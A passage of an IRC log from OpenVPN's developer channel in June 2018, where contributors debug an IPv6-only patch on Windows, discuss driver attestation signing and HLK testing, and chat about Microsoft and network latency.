OPENVPN_URL (that is a git URL) :S 13:07 <@ordex> will dig deeper 13:08 < tincantech> just change build.vars in generic 13:09 < tincantech> another thing i do is have more than one build-sys folder .. 13:09 <@ordex> tincantech: but i want to pull from git, not use a taball 13:09 <@ordex> tarball 13:15 < tincantech> if you are pulling from your gitlab even if you get it working i think you will need to insert a 'autoreconf -ivf' into build some place because that step is not included by default .. not sure why 13:15 <@ordex> it is in build-snapshot 13:17 < tincantech> ok 13:52 < tincantech> ordex: 3rd time i have built your ipv6only and i made sure i did everything right .. if i use it *with ipv4* there is no problem .. if i use -- pull filter to remove "ifconfig " (ipv4) and --route-nopull (to disable the vpn ipv4 route) then (with no other changes) i get the problem with "IP packet with unknown IP version=3 seen" (also version 3 and 15) .. server is git master on linux client is win10 13:52 < tincantech> with the ipv6only branch 13:53 <@ordex> tincantech: can you send the full client log to me please? 13:53 < tincantech> i can send everything 13:53 < tincantech> i'll paste the log now 13:53 < tincantech> is it getting late for you now ? 13:54 <@ordex> no prob 13:56 < tincantech> i'll create a temporary trac ticket and attch all the details 13:57 <@ordex> also an email to me is ok too 13:58 < tincantech> ok .. i'll do that instead 13:58 < tincantech> a@unstable right 13:58 <@ordex> .cc 13:59 <@ordex> right 14:04 < tincantech> this is the client log just so you can check what ever it is you are looking for: https://dpaste.de/mdam 14:06 < tincantech> pfft .. don't why it wrapped like that 14:07 < tincantech> ordex: this one is better: https://dpaste.de/AbVd 14:08 <@ordex> tincantech: the byte error is only on the server? 14:09 <@ordex> and is compression enable don both ? 14:09 <@ordex> with compress $something ? 14:09 <@ordex> hmmm is this expected: comp-lzo no,compress ? 14:11 < tincantech> on the server i do from a ccd file : compress --push "compress" and comp-lnzo no --push "comp-lzo no" and in both client and server the same are set in the configs at startup 14:12 < tincantech> if i don't filter out the ipv4 stuff it works fine 14:12 < tincantech> and that has been for 3 different windows installers i built with ipv6only 14:13 < tincantech> of course you cannot filter out the ipv4 stuff on any other version so it never happened before 14:14 < tincantech> well you can filter it out but then it dies with the expected error "ifconfig required" 14:16 < tincantech> ordex: yeah the byte error is only on the server 14:17 <@ordex> ok 14:17 <@ordex> thanks, it might be some intricated interaction 14:17 <@ordex> that would be a very nice catch 14:18 < tincantech> cron2: are you interested in seeing any of this ? i can put it all on trac if you are 14:19 < tincantech> yeah ill trac it ;) 14:20 <@ordex> tincantech: he probably does not care much because the current openvpn does not support ignoring --ifconfig :-P (unles she wants to debug my branch, that would be welcome :D) 14:22 < tincantech> lol .. 'unles she' .. your in for a booting now :D 14:30 <@dazo> ordex: you can do 'make distcheck' when having checked out a branch ... you might want to play some tricks with version.m4 (but not strictly needed) - that will require a rerun autoreconf -vi && ./configure 14:30 <@ordex> tincantech: lol 14:30 <@ordex> late here 14:30 <@dazo> that's how you get .tar.gz files from the checked out branch .... version.m4 version strings ends up in the filename 14:30 <@ordex> dazo: thanks 14:32 < tincantech> edit version.m4 is how i keep track 14:33 <@dazo> it sure helps you keep your sanity a little bit longer 14:45 < tincantech> it's a bit too late for me XD 14:50 < tincantech> ordex: i just sent you the email .. it has the installer.exe i built attached .. so it may get the red light somewhere 14:50 <@ordex> oky 14:51 <@ordex> thanks a lot :) 14:51 <@ordex> i will also try to reproduce it on linux first 14:51 <@ordex> I guess it is something more generic than the windows thing 14:51 < tincantech> hold on .. thunderbird may be the red light .. chunderbird 14:52 < tincantech> dang it .. google bjorked the exe 14:55 < tincantech> ordex: when i initially built it (from ML, may not be the same as your repo) it worked fine on linux only 14:55 <@ordex> ok 14:55 <@ordex> yeah the ml is behind compared to the current repo 14:56 < tincantech> ok // sent you the text .. 14:57 < tincantech> if you build your repo with the proper build system you ought to be able to relicate 15:01 < tincantech> dazo: and anybody else interested .. i pasted the text : https://dpaste.de/Xsp1 15:04 < tincantech> FYI: the CCD file: --pin 10 --ping-restart 60 --push "ping 10" --push "ping-restart 30" --comp-lzo no --push "comp-lzo no" --compress --push "compress" --push "route 10.8.0.1" 15:08 < tincantech> and something i discovered .. CCD --push-reset does *not* clear ifconfig* parms 15:08 < tincantech> unless you do ifconfig-push in the ccd 15:35 < tincantech> ordex: i just tried with a linux client and it works normally (have x3 checked everything) 15:40 < tincantech> i bet he's ZZZzzz 15:58 <@dazo> it's almost 05:00 where he lives ... so yeah :) 16:02 < tincantech> yeah +7 .. poor chat must be knackered ! 16:03 < tincantech> chap* 16:41 < tincantech> dazo: you still around ? i seem to have found a nasty little quirk with --compress (2.4 server 2.3 client) 18:05 < tincantech> ordex: when you see this .. i have tested all sorts of configs mainly different --comp-lzo and --compress options and none make any difference on windows (linux seems fine) 18:07 < tincantech> ordex: dazo: one odd quirk .. do *not* set --compress in a CCD file at all if the client does not understand --compress .. turning the framing on (--compress) kills 2.3.18 18:08 < tincantech> ie: --compress --push "compress" 22:26 < kitsune1> ordex: you asked abt windows build: yes, I have a setup for cross-building for windows... 22:59 <@ordex> ecrist: one corp user is having troubles changing his signature on the forum: 22:59 <@ordex> "Your signature contains 42 characters. 22:59 <@ordex> The maximum number of allowed characters is 1." 22:59 <@ordex> tincantech: thanks, so it's only a windows issue? 22:59 <@ordex> interesting 23:28 < kitsune1> I tried to reproduce what tincantech reported -- but couldn't. But just realized he uses net30, I didn't try that. 23:35 <@ordex> not sure why net30 would impact the compression 23:35 <@ordex> but please, try 23:35 <@ordex> if you can of course 23:53 < kitsune1> that's assuming its compression that breaks the setup -- did he say it works without compression off.. Anyway, will try. 23:55 < kitsune1> Why would compression be affected by disabling v4. Hard to make sense of.. 23:56 <@ordex> not sure 23:56 <@ordex> and he said this happens only for windows 23:56 <@ordex> I wonder if his binary has something wrong about compression at all 23:57 <@ordex> anybody from Australia here? 23:57 <@ordex> :D --- Day changed Fri Jun 08 2018 01:17 <@cron2> good morning 01:19 <@cron2> ewwww 01:19 <@cron2> patch v2 2/8 is now something different from 2/5 in the first series 01:20 <@cron2> ordex: it would be good if your v2 patches would contain a note in the commit message about "what changed" 01:21 <@cron2> v2: same as v1, just commit message adjusted 01:21 <@cron2> or 01:21 <@cron2> v2: rewrote everything 01:21 <@cron2> needs different level of review 01:27 <@ordex> yeah 01:27 <@ordex> I've been sloppy and wrote a summary in the cover letter only 01:27 <@cron2> also, it would be good if the commit message would spend a few more words on "what has changed and why" - the new message for 1/8 is fairly terse, but I think it would be good to mention something like "do_ifconfig() split into two separate functions for ipv4-only and ipv6-only that can now be called independently" or so 01:28 <@ordex> alright 01:28 <@cron2> anyway - let's agree on the patch content first, and then we'll go about having nice commit messages :) 01:28 <@ordex> yup 01:29 <@cron2> have you set patchwork -> "changes requested" for the v1 series already? 01:30 <@ordex> not yet 01:30 <@ordex> doingnow .. 01:31 <@ordex> argh I had sent a v2 of one patch already .. let me get rid of it in patchwork 01:52 <@ordex> patchwork should be ok by now 01:53 <@ordex> cron2: is 3/8 something we could quickly get rid of? or you feel like it may hide something tricky? 01:55 <@cron2> that one is pretty fine, I think. I inteded to merge it wednesday evening, I think, but got stuck working until 11 pm wed/thu and had to get up at 6:45 next morning again, so patch merging fell off the table 02:11 <@ordex> sure no prob, I just saw one being merged and the other not, so I wanted to ask if there was any technical reason :) no prob with the rest 02:16 <@cron2> if there are problems, you'll hear that :-) - silence usually is just that, "no time for anything" 02:18 <@ordex> hehe right 02:22 <@cron2> need to get some work done, then come back to the patch set 02:24 <@ordex> cool, thanks :) 04:21 <@ordex> dazo: why apple and oranges in the iperf test? I'd say that is comparing TCP performance with and without the tunnel no? having UDP as underlying transport should just be "as transparent as possible" since it does not do any reliability. still I agree that testing with --udp might be better (in *both* contexts) because it factors out the TCP overhead 04:31 <@ordex> cron2 came to the rescue :] 04:39 <@ordex> dazo: https://community.openvpn.net/openvpn/ticket/372 << want to close? May 2015 is long gone here in hong kong 04:39 <@vpnHelper> Title: #372 (auth-user-pass-verify passes an empty trailing arg) – OpenVPN Community (at community.openvpn.net) 04:39 <@ordex> :P 05:09 <@ordex> mattock: https://community.openvpn.net/openvpn/ticket/468 05:09 <@vpnHelper> Title: #468 (multiple clients with same cert leads to problems) – OpenVPN Community (at community.openvpn.net) 05:09 <@ordex> trying to do some house keeping 05:30 < tincantech> ordex: i'm trying your new ipv6 version 05:30 <@ordex> goed! 05:30 <@ordex> thanks 05:51 < tincantech> ordex: you will be pleased to here no more byte errors ! :) 05:51 < tincantech> i presume you found the error ? 05:51 < tincantech> oh no wait a minute 05:53 < tincantech> yep - it's good .. no ipv4 (169.254.x.x) and ipv6 is up and ping6 works 05:54 <@ordex> tincantech: nope, didn't even see it 05:55 <@ordex> because I can't compile a working binary for windows 05:55 <@ordex> but kitsune1 said he couldn't see it 05:56 < tincantech> ok .. i'll double check my setting but it certainly looks good 05:57 <@ordex> oky 05:57 <@ordex> thanks! 05:59 <@dazo> ordex: thx! closed 372 ... indeed, that's overdue :) 05:59 <@ordex> :D 05:59 <@ordex> cool 06:05 <@dazo> I wonder if #468 is still an issue. Smells like only the data channel context is invalidated, but the control channel is still intact when using 'kill' from the management interface 06:10 <@ordex> you also going through all the tickets? :D 06:10 <@dazo> nope, just looked at what you highlighted here :) 06:10 <@ordex> ah 06:10 <@ordex> :P 07:18 < tincantech> ordex: i am also running ipv6only binary in server mode and it all appears normal .. but my server config is not ipv6only so i guess it is not a full test yet .. later on i'll setup a pure ipv6only windows vpn server but it will take a while 07:18 < tincantech> i am running the binary as server on windows now 07:25 <@ordex> tincantech: cool! 07:26 <@ordex> thanks! 07:27 < tincantech> ordex: if you make any significant changes to your ipv6only branch and you want me to test just let me know :) 07:31 <@ordex> sure :) 07:45 < tincantech> also following selva's comments about redirect-gateway .. wgat i do is --pull-filter ignore "ifconfig " and "route " and then push rediect-fateway def1 .. so the client prints the error NOTE: unable to redirect IPv4 gateway etc .. so that bit works 08:51 <@vpnHelper> RSS Update - gitrepo: pool: convert pool 'type' to enum <https://github.com/OpenVPN/openvpn/commit/3e1606fe86ba1b09d05ba828b5e4e280ceddd30a> 08:59 <@ecrist> ordex: I'll look into it. We have signature modification disabled. 09:00 <@ecrist> who is it? 09:05 <@ordex> ecrist: elfredyc 09:06 <@ordex> he wanted to remove the "Technologies" part 09:06 <@ecrist> If that's it, I'll do it for him. My "trick" to prevent user signatures is to set the char count to 1, and change it when I want to update my own. 09:06 <@ecrist> ;) 09:06 <@ecrist> Is he online now? 09:07 * tincantech knew it ;) 09:07 <@ordex> ecrist: no 09:07 <@ordex> ecrist: but i think you can do it for him - I'll let him know 09:08 <@ecrist> I'll update it. If it's not right, have him ping me on IRC next week and we'll coordinate. 09:08 <@ordex> yup 09:09 <@ordex> can't you enable the signature modification for some "good" users only? 09:10 <@ecrist> no 09:11 <@ecrist> ordex: updated 09:11 <@ecrist> I could probably write a plugin, but meh 09:12 <@ordex> nah 09:12 <@ordex> thanks 09:12 < tincantech> signatures just add more clutter imo 09:12 <@ecrist> I have no problem with signatures. They're abused too readily. 09:13 < tincantech> that is the reason for us not using them .. same as PMs 09:13 < tincantech> ordex: we caught one user sending spam to all newly registered accounts 09:13 < tincantech> via PMs 09:14 <@ordex> hehe I can imagine 09:14 <@ordex> that's why I asked for "good users" only, but I didn't know it was a global setting 09:14 < tincantech> it might be possible via a group .. but I don't care about sigs or PMs 09:15 <@ecrist> it's not possible through a group 09:15 <@ecrist> tincantech's own opinion on signatures is irrelevant 09:16 < tincantech> charming .. 09:16 < tincantech> so speaketh the honeybadger ;) 09:17 <@ordex> :D 09:17 <@vpnHelper> RSS Update - tickets: #1069: Multiple remote entries not working <https://community.openvpn.net/openvpn/ticket/1069> 09:21 <@ordex> mah 09:21 <@ordex> I am putting this gun in my eye and shooting. It hurts!! anything I can to make it less painful 09:21 <@ordex> ? 09:21 <@ordex> :P 09:23 < tincantech> you mean that 1069 ? ;) 09:24 < tincantech> i bet the IP address is what the FQDN resolves to anyway :D 09:25 <@vpnHelper> RSS Update - gitrepo: Replace M_DEBUG with D_LOW as the former is too verbose <https://github.com/OpenVPN/openvpn/commit/68441882e55b8e6c3c55a4078fbfdd76c7ada6bc> 09:39 < tincantech> ordex: he also has --resolve-retry infinite 09:49 <@ordex> isn't that the default? 09:49 <@dazo> yes, it is, according to the man page 09:50 <@dazo> "By default, --resolv-retry infinite is enabled." 10:07 <@mattock> first "attestation-signed" tap-windows6 driver is in the oven 10:08 <@mattock> in "sign" phase 10:08 <@mattock> MS made me lie that I have tested the driver on Windows 10 x64 rev 1607+ 10:09 <@mattock> they do have some standard (Azure-based) test playlists which we can probably use (later) 10:09 <@mattock> I think they're Azure-based 10:19 <@cron2> mattock: does "1607+" mean "any version of win10 x64 after that" or "on 1607, and on 1703 and on 1709"? 10:26 < tincantech> or even C:\ver 10.0.17134.1 .. Windows->System Information "No information" .. and last time I updated I was ordered to by M$ or I would not be eligible for any futher updates 10:28 < tincantech> https://motherboard.vice.com/en_us/article/pavq99/microsoft-project-natick-submarine-data-center 10:28 <@vpnHelper> Title: Microsoft Just Put a Data Center on the Bottom of the Ocean - Motherboard (at motherboard.vice.com) 10:30 <@mattock> cron2: actually now that I think of it it must refer to 1607 - that's part of the test playlists I believe 10:30 <@mattock> but I believe in practice it means "1607 or later" 10:31 <@mattock> here's the first 64-bit "attestation-signed" tap-windows6-9.22.1 driver: https://build.openvpn.net/downloads/temp/Signed_1152921504627693980.zip 10:31 <@mattock> don't have time to package it properly, plus I'd need the 32-bit driver as well 10:31 <@mattock> didn't even test it, but I guess it "should work" as it was signed by MS 10:31 <@mattock> it should fail on pre-Windows 10/pre-Windows Server 2016 10:32 <@mattock> and work on those 10:32 <@mattock> Windows 10/Windows Server 2016 10:32 <@cron2> mattock: so how do you get a driver that works on everything? 10:33 <@mattock> I don't 10:33 <@mattock> it's impossible 10:33 <@mattock> according to MS docs we could have a dual-signature version (cross-signed + attestation signed) 10:33 <@mattock> but that would still fail on Windows Server 2016 10:34 <@mattock> so I think the most reasonable approach is to have one driver set/installer for pre-Windows 10 and another for Windows 10+ 10:34 <@mattock> anyways, need to split now, have freetime things to do 10:35 <@cron2> why should it fail on server 2016? If it has attestation, things should be good? 10:36 <@mattock> because it would have the cross-signed certificate 10:36 <@mattock> that is what is implied by MS docs 10:36 <@mattock> https://docs.microsoft.com/en-us/windows-hardware/drivers/dashboard/attestation-signing-a-kernel-driver-for-public-release 10:36 <@mattock> actually not that page 10:37 <@mattock> but probably one linked to from there 10:37 <@mattock> but they explicitly state that, so I have no reason to disbelieve them 10:38 <@vpnHelper> Title: Attestation signing a kernel driver for public release | Microsoft Docs (at docs.microsoft.com) 10:40 < kitsune1> You don't lie and then advertise it to the world :) 10:42 <@cron2> seems we just need to test that - I have a hard time believing that "two signatures, A + B" are considered worse than "signature A" if A is good enough 10:46 < kitsune1> Regarding signing this page which states option 1 as the "https://docs.microsoft.com/en-us/windows-hardware/drivers/dashboard/get-drivers-signed-by-microsoft-for-multiple-windows-versions" 10:46 < kitsune1> Options 1 as the "This is the only way to make a submission apply to all Windows versions." 10:48 <@cron2> but the wording of option 2 says "... so that it also works in Windows 10", which implies that 1. does not 10:50 < kitsune1> I think 2 means "you can cross-sign your driver yourself" which will not work on Win 10 and submit that for attestation signing to make it work on Win 10. 10:50 < kitsune1> But that will not work on server 2016, so option 1 is the only way. 10:54 <@cron2> this interpretation could also make sense :) - so mattock's attestation signing will fix win10, but not server 2016 (not at all, not only "not if cross-signed") 10:54 <@cron2> test... 10:55 < kitsune1> Yeah, so either go full HLK/HCK way or two executabless? 11:19 < tincantech> kitsune1: bill lied and then advertised it to the world ;) 12:25 < kitsune1> tincantech: we're talking about a software meant to save and protect us, not a personal indiscretion :) 12:37 < tincantech> kitsune1: by "personal indescretion" i presume you mean the same monumental corporate screw job and actual real more or less proven conspiracy thoery in recent history ? 12:39 < kitsune1> may be you have a different bill in mind.. 12:39 < tincantech> nill made a BBC documentary where he admitted (his own mouth) that he paid about $75k for QDOS (origins highly suspect) and sold the same crap to IBM for $20M because he sold it as "lines of code" while bloating it out with bitmaps that IBM never checked and paid him anyway 12:40 < tincantech> Bill Gates 12:40 < kitsune1> Who's Bill Gates? ;) 12:40 < tincantech> if anybody in their right mind honestly trust M$ with githib then they are not learning the lessons of history 12:47 <@cron2> githib must be something like catnib, right? everybody getting fully excited... 12:50 < tincantech> i am talking about what history proves M$ do to competition .. github is just the latest and, let's face it, most expensive .. 12:51 <@cron2> when did gitnib start being "competition" to MS? 12:51 < tincantech> free software .. 12:52 < tincantech> free service 12:52 < tincantech> free anything 13:01 < tincantech> some simple maths: 7,500,000,000 dollars paid for 75,000,000 approx projects = $1000 per project plus the git system and users and other hard/software for free .. $7.5B was probably cheaper than ripping it all from githib by forrking 13:44 <@cron2> maybe they just bought github so oracle won't... 13:54 < tincantech> well .. that's just business .. but that does not rule out other factors 14:04 < tincantech> also, what's so bad about Oracle ? at least they give VBox away plus other stuff 14:04 <@cron2> have you followed their lawsuit against Google wrt Java in Android? (Or their lawsuit against about everything that might have enough money to be worth sueing...) 14:05 <@cron2> that they give away vbox is the only way vbox could survive - since there are free "personal use" virtualizers available, nobody would buy vbox unless you give it to them for free and sell the extras 14:05 < tincantech> do you recall how Java secceffully sued M$ over reverse engineering java ? 14:06 <@cron2> "Java" is not a company, so it was either Oracle or Sun Microsystems who sued 14:06 < tincantech> well they won 14:06 <@cron2> well, yes, that's US law for you - but what's the point? 14:07 <@cron2> reverse engineering is perfectly legal in many places of the world - and to be able to provide a compatible implementation, reverse engineering helps 14:09 < tincantech> "places in the world" .. so go and live there .. the point of this with you appears to be Me bashing M$ cos i hate them (and what they trully represent) and You disagreeing for fun ;) 14:09 * cron2 used to strongly dislike M$ for like 10 years or so, but neither this company exists anymore, nor is that *relevant* anymore since all the surroundings have changed 14:09 < tincantech> i just made one comment to kitsune1 "bill lied and then told the world about it!" 14:10 <@cron2> Bill Gates has left Microsoft like 10+ years ago 14:10 < tincantech> to be honest, i think it as got even worce since he departed 14:10 <@cron2> MS is developing their software for Linux (SQL server) and Apple (Office) today... 14:11 < tincantech> well .. that's what it looks like but I don't believe it is benign 14:11 <@cron2> their competition has long ceased to be "companies selling software" - they are now competing with AWS and Google on cloud services 14:12 < tincantech> ok .. fair point .. i don't much like any super corporations .. 14:12 <@cron2> and they've always cared quite a lot for developers on their platforms (of course, if you have the developers, your OSes will sell :) ) 14:13 <@cron2> so the move to Linux with SQL server is actually fairly curious 14:13 < tincantech> "curious" .. indeed .. that's the bit i don't trust .. sorry but M$ have a loooong way to go to win me over again 14:14 < tincantech> especially when you work in a London bank that literally could not live without full M$ across the board and most of the management are just corp dogs spouting how M$ do everything ! 14:15 < tincantech> and then you have the education sector 14:16 < tincantech> last college I went to I talked their I.T into installing and fully supporting openoffice "as well as " the M$-Office+Licence requirment they already had .. becuase there was no fkn way i was parting with another £50 to use office on their systems 14:17 <@cron2> well, nobody said M$ isn't trying to make money :-) - but banks are not stupid, they have been ripped off by IT vendors forever, even before PCs existed and IBM had them pay big moneys for minicomputers... 14:18 < tincantech> sure .. i know the economics .. my point about the banks was .. the management i encontered would be lost without M$ and a sizable support contract 14:18 <@cron2> I've tried using libreoffice. The writer part is fairly ok, the spreadsheet part is somewhat annoying, and the presenter is fairly unusable - so I've decided that my lifetime is important and bought an office version for my Win7 VM. 14:18 <@cron2> wrt the bank - and before that, they were fully dependent on IBM. If they were to move to Linux, they would sell their soul to SuSE or RedHat or (most likely) Oracle 14:19 <@cron2> they just want a sheet of paper that states "someone else is to blame" 14:19 < tincantech> i guess the bit about the banks is how banks choose to hire senior management .. it has been questionable for a very long time indeed // hence modern western world .. 14:20 <@cron2> there is waaaay more broken in the banking sector than what IT vendor they give their money 14:21 < tincantech> agreed 14:21 < tincantech> but that "system" pervades all industries 14:24 < tincantech> i disagree with "ripped off by IT vendors" .. banks love it and are more than ready to chuck more money at it 14:25 <@cron2> well, if they are happy to throw money at the IT vendors, they might not feel "ripped off" - but that's the point. They are happy to pay, and they pay less to M$ than they were used to pay to IBM, Digital, etc. before M$ became big enough 14:26 < tincantech> that is only because technology has progressed and nothing to do with the protagonists 14:28 < tincantech> i still find the whole idea of Q.C. unbelievable .. but somebody is going to find a way, if there is a way 14:33 < tincantech> innovation most often comes from the oddest sources .. will some mad crank figure out perfect QC from his/her shed ? ;) 14:33 < tincantech> maybe cold fusion 14:53 < tincantech> btw: M$ deliberately bundled twhat we now know as office to beat out the more specialised unique application vendors 14:55 < tincantech> and then they made sure to bury every single competitor one by one from freelance to wordperfect .. one exception being powerpoint, which is not really by M$ .. but then nothing M$ have ever done was their own idea 15:05 < kitsune1> btw, speaking of QC, MS has some not too bad docs on QC -- a good intro and some more. 15:11 < tincantech> kitsune1: and Sesame street can teach a child to count ;) 15:14 < kitsune1> your hatred for MS runs deep isn't it :) 15:16 < tincantech> yeah .. sorry about that ;) 15:18 < tincantech> can you think of any M$ innovation ? 15:18 < kitsune1> no need to be sorry.. I'm no MS fan, used to dislike everything Windows, but have learned not to care as long they dont encroach into my space.. 15:20 < tincantech> no matter what they do they always encroach like a cockroach 15:21 < tincantech> can you think of any M$ innovation ? .. i am really struggling to think of anything ! 15:22 < kitsune1> btw, regarding the bug you found yesterday -- I think you were running a version of ordex patch that skipped tun initialization (when no v4 address on Windows) -- see the email exchanges yesterday. That meant the driver was behaving like tap and cleint sending full frames. The errors like version 0, version 15 etc on server usually happens with such tun/tap mismatch. 15:24 < tincantech> ok .. well i only use tun (used tap in the past or for special occaions) .. i don't think i could call it a bug, i just got lucky to find something which went ary in ordex patches 15:24 < tincantech> the exact same setup worked fine with ordex repo today 15:25 < kitsune1> Yeah, not a bug per se.. The patch was missing some details which made it behave like tap.. I couldnt reproduce it yesterday so was nagging me.. 15:26 < kitsune1> He updated the repo late yesterday.. 15:26 < tincantech> yeah .. and sent a note to the dev-ML .. so i had to try it .. and behold it worked ! :) 15:28 < tincantech> the server/client setup i use is to try to stick to the example configs as close as possible .. however, in this case i think it had something to do with comp-lzo/compress(even if those bits were not touched something spilled over 15:31 < tincantech> also .. the server is git-master the client ordex/ipv6 and the error was received at the server .. so just a wee error some where 15:36 < kitsune1> I just reproduced it using his repo before the point he updated it subsequent to this mail from selva: https://sourceforge.net/p/openvpn/mailman/message/36337311/ -- compress is not relevant 15:36 <@vpnHelper> Title: OpenVPN / Mailing Lists (at sourceforge.net) 15:38 < tincantech> cool :) 15:38 < tincantech> so tun v tap behaviour ? 15:41 < tincantech> i still have the W-binary .. wonder if the same happens with a clear text p2p 21:25 <@ordex> tincantech: tap driver itself. not tun vs tap 22:15 <@ordex> so..we have a kernel.org mirror in the basement: 22:15 <@ordex> 64 bytes from hkg1.git.kernel.org (2604:1380:40a0:500::1): icmp_seq=1 ttl=57 time=4.91 ms 22:15 <@ordex> :D 22:18 < kitsune1> are there basements un that part of the world? just curious.. 22:19 < kitsune1> in 22:24 <@ordex> well yeah :P 22:24 <@ordex> 5ms latency must be very close :D 22:24 < kitsune1> May be a neighbour is running it :) 22:28 <@ordex> hehe 22:28 <@ordex> nah, must be in some datacenter 22:28 <@ordex> I mean, everything here is pretty much "a neighbour" :P 22:29 < kitsune1> yeah, guessed that -- everything is closeby: google.com pings with icmp_seq=1 ttl=55 time=0.666 ms from my office downtown, but icmp_seq=1 ttl=55 time=43.0 ms from home (cable) 22:30 <@ordex> wah 22:30 <@ordex> how far is your home from your office? 22:30 < kitsune1> 30 km... 22:30 <@ordex> wow 22:32 <@ordex> feels like something is messed up :|< 22:33 < kitsune1> your maan the v6-only mirror? 22:33 < kitsune1> mean 22:37 <@ordex> nope, I felt something is weird for you to have 40+ms at that short distance difference 22:37 <@ordex> but it's not v6 only by the way 22:46 < kitsune1> Its not the distance -- cable modem, and whatever is in between adds latency. And office is big, have dark fiber directly to a large data center, so cant compare. A similar cable connection downtown will give similar rtt as what I get at home, I think. 22:47 < kitsune1> I thought v6-only was the new talk of the town :) 22:48 <@ordex> hahah 22:48 <@ordex> :D 22:48 <@ordex> well yeah 22:48 <@ordex> that is too ;) 22:57 < kitsune1> Where I am I cant get fiber or metro ethernet -- so latency starts at 30ms or so to just get out of the premises with both cable and DSL. 23:13 <@ordex> oh ok 23:13 <@ordex> not much you can do i guess. unless you get some low latency wifi link to some fiber point 23:15 <@ordex> kitsune1: and what country are we talking about ? 23:15 < kitsune1> But does it really matter? 30 - 40 ms is low enough to not really notice even when editing a file remotely. 23:15 < kitsune1> Canada 23:15 <@ordex> yeah true 23:16 <@ordex> as long as it does not go up to 300 with the next hop everything is fine :P and afaiu this is not the case 23:16 <@ordex> oh ok 23:17 < kitsune1> I would prefer < 100ms. I do a lot of cmd line work or editing files ssh-ed to my office machine and start noticing the latency once is ~100ms or more. 23:20 <@ordex> yeah I can imagine 23:21 < kitsune1> But we do have teh so called "buffer-bloat" problem with some DSL providers here. They must be using very large buffers as the latency shoots up when the link is saturated. Againg not an issue for most applications except VOIP, gaming, interative stuff etc. 23:25 <@ordex> yeah 23:25 < kitsune1> time to hit the sack here -- you have a nice day.. 23:26 <@ordex> thanks, and good night! --- Day changed Sat Jun 09 2018 03:20 <@cron2> *yawn* 03:20 <@ordex> morgen! 05:56 <@cron2> syzzer: so how's work, life, and patch review? :) 13:04 -!- mode/#openvpn-devel [+o ordex] by ChanServ 13:44 <@vpnHelper> RSS Update - gitrepo: Add Interactive Service developer documentation <https://github.com/OpenVPN/openvpn/commit/62b1cc161c53d900b6fe56f6924ef2ec1c1b8a00> --- Day changed Sun Jun 10 2018 02:11 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 255 seconds] 02:12 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 02:12 -!- mode/#openvpn-devel [+o dazo] by ChanServ 06:46 <@vpnHelper> RSS Update - tickets: #1070: IPv6 packet received by L2 client breaks MAC mapping? <https://community.openvpn.net/openvpn/ticket/1070> --- Day changed Mon Jun 11 2018 02:43 <@mattock> meet the man who will soon know how to manage HLK/HCK/WLK tests and submissions 02:52 * cron2 bows in awe 02:53 <@cron2> how long does one iteration take, as in "here's a patch, please build a new driver with it"? 03:12 <@mattock> probably not much when the test environment is setup 03:12 <@mattock> like <1 hour 03:12 <@mattock> attestation signing took <1 minute 03:12 <@cron2> wow 03:12 <@mattock> running tests - I have no clue 03:12 <@cron2> so what was the initial problem with attestation signing? I remember that the first attempts failed 03:13 <@mattock> I had not found the link to the correct MS article 03:13 <@mattock> I did not know it was called "Attestation signing" back then 03:14 <@mattock> setting up HLK (Windows 10) test environment seems fairly straightforward, but I'm not 100% sure of a couple of things: 03:14 <@mattock> - Does Amazon EC2 work fine for it? One guy apparently has apparently done that, so it's work a try. 03:14 <@mattock> - Do we need to setup dedicated test instances for every single Windows version there is? 03:15 <@cron2> I hope not 03:15 <@mattock> I will check if there are some Azure-based test automation available 03:15 <@mattock> on-demand instances would be best for this stuff 03:16 <@mattock> one more question: does Windows Server 2016 _require_ that the driver submission included HLK tests? 03:17 <@mattock> I can actually ask the helpful MS support about that... 03:21 <@mattock> just did, let's see 03:22 <@cron2> seems MS is actually fairly nice to work with, these days - like, good documentation (sometimes "too much", so hard to find the right one), good developer support ... 03:29 <@mattock> the support person I've been talking to responds in like 10 minutes 03:29 <@mattock> very nice 03:32 <@ordex> does he also say something useful? xD 03:32 <@mattock> yes 03:32 <@mattock> like now 03:32 <@mattock> "Yes, you need to submit HLK test results to get a driver signature for Windows Server 2016." 03:33 <@mattock> that means building the HLK test infrastructure, which according to the support person does not have to consist of physical computers 03:37 <@cron2> good 03:45 <@mattock> I asked one (final) question about the HLK test environment 03:45 <@mattock> I hope we can get away with just two servers: HLK Studio/Control + Windows Server 2016 test client 03:45 <@mattock> if the resulting signature also works on Windows 10 then we're good 07:26 <@ecrist> mattock: you still here? 09:52 <@cron2> *sigh* 09:52 <@cron2> ordex: t_client and your ipv6-only patch do not go along nicely 09:54 <@cron2> (if you set EXPECT_IFCONFIG4_<stanza>='' (because there won't be anything), mattock's magic "find the address and auto-write-config it" tool runs off ... 10:06 <@ordex> cron2: so what needs to be modified? t_client? or something on buildbot? 10:06 <@cron2> t_client.sh needs to be able to deal with "no, there won't be a v4 address" 10:07 <@ordex> oky 10:07 <@ordex> will have a look at that then! 10:07 <@ordex> then we need to configure an instance $somewhere to run a server with no v4? 10:10 <@cron2> add pull-filter to your t_client.rc setups... which you certainly already did for testing, no? 10:12 <@ordex> not to t_client, only to my local instances 10:12 <@cron2> t_client.rc is not playing nicely with me right now anyway, getting the "ifconfig " bits in there, properly quoted is... complicated 10:13 <@cron2> right now I'm trying to make unpatched master *fail* on ipv6-only, so I can then see if the patch does the right thing :-) 10:19 <@ordex> heh 10:20 <@ordex> so somehow "reverting" the ipv4 connectvity check? 10:20 <@ordex> so that if it works, you fail? 10:20 <@cron2> nah 10:20 <@cron2> just manually checking "is this applying the right options? does it fail now?" 10:21 <@cron2> but spaces in this jungle of eval'ed options are harder than I expected 10:21 <@ordex> :D 11:05 * cron2 gives up and goes for 11:05 <@cron2> --pull-filter accept ifconfig- --pull-filter ignore ifconfig 11:11 <@cron2> oh, there's lots of assumptions all over the place 11:11 * cron2 just found $ifconfig_local in all the --up (&friends) script calls 11:12 < kitsune1> No wonder why the world is still stuck with ipv4. Lots of assumptions everywhere... 11:13 <@cron2> and this is why we need to break things, to make hidden assumptions visible *and fix things*, instead of "no we cannot move to ipv6, because things will break" :) 11:17 * ordex likes to break things :] 11:28 * krzee passes out the baseball bats 18:26 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Quit: ZNC - http://znc.in] --- Day changed Tue Jun 12 2018 01:09 <@ordex> cron2: did you manage to get t_client happy somehow? or did you give up at some point? 01:09 <@ordex> never give up! 01:20 <@cron2> ordex: I managed to get it unhappy in the right way :-) 01:20 <@cron2> as in: openvpn starts, ignores the 